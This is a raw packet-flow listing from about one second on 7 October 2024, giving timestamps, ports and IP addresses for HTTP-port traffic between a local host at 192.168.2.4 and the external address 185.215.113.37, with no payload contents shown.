Oct 7, 2024 21:19:13.336549997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336575031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336586952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336613894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336616993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336649895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336659908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336682081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336699963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336724043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336729050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336764097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336771965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336800098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336815119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336832047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336842060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336868048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336884022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336901903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336911917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336935997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336946011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336970091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336983919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.337002993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.337012053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.337037086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.337045908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.337069988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.337085962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.337110043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.337112904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.337155104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449280024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449335098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449347973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449378014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449493885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449537039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449595928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449630022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449640989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449676037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449739933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449773073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449784040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449815989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449855089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449887991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449897051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449922085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449932098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449950933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.449963093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.449992895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.450738907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.450784922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.450788975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.450824022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.450831890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.450862885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.450875044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.450906992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.450916052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.450947046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.450989962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451021910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451031923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451061010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451062918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451096058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451108932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451141119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451351881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451396942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451515913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451565981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451575041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451601028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451616049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451636076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451643944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451673031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451675892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451709986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451714039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451747894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451750994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451780081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451783895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451823950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451843977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451875925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451884985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451909065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.451910019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.451950073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574275970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574332952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574357986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574368954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574402094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574404001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574413061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574440956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574450016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574476957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574484110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574518919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574522018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574549913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574563980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574599981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574810982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574846983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574858904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574882984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574894905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574924946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.574940920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574975014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.574989080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.575025082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.575025082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.575062037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.575097084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.575123072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.575133085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.575161934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.575182915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.575990915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.576025963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.576050043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.576060057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.576070070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.576086998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.576102018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.576122046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.658663034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.658704996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.658734083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.658768892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700297117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700371027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700371981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700412035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700419903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700453043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700465918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700501919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700510979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700537920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700547934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700572014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700581074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700608969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700615883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700643063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700654030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700685024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700696945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700731993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700740099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700767994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700776100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700803041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700809956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700836897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700845957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700875044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700880051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700911999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700917959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700949907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700956106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.700985909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.700992107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701020002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.701029062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701062918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701251984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.701297998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701306105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.701340914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.701349020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701380968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701452017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.701486111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.701497078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701519966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.701529980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701559067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.701570034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.701596022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.702162981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.702198029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.702214003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.702233076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.702240944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.702275991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.702611923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.702646017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.702661991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.702678919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.702687979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.702722073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.822666883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.822709084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.822735071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.822742939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.822772026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.822776079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.822783947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.822796106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.822812080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.822822094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.822838068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.822859049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.822926044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823035002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823059082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823061943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823081017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823086023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823101997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823126078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823189020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823230028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823312044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823335886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823358059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823374987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823451996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823474884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823498011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823518991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823551893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823602915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823658943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823664904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823688984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823712111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823729038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823776960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823801041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823822975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823823929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.823846102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.823865891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824029922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824088097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824110985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824136972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824173927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824187994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824198961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824244976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824497938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824549913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824556112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824582100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824596882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824605942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824621916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824628115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824641943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824667931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824785948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824806929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.824831009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.824851036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.948538065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948576927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948611021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948642015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948677063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948709965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948759079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948771954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.948808908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948812962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.948844910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948857069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.948877096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948892117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.948909998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948921919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.948945045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948957920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.948987007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.948987961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949033976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949193954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949225903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949249029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949258089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949271917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949292898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949310064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949333906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949366093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949417114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949448109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949480057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949513912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949542046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949637890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949660063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949667931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949697018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949718952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949719906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949754000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949785948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949800014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949817896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949839115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949851990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.949866056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.949897051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072287083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072335005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072391987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072427034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072460890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072482109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072515011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072549105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072565079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072582960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072582960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072609901 CEST	49730	80	192.168.2.4	185.215.113.37
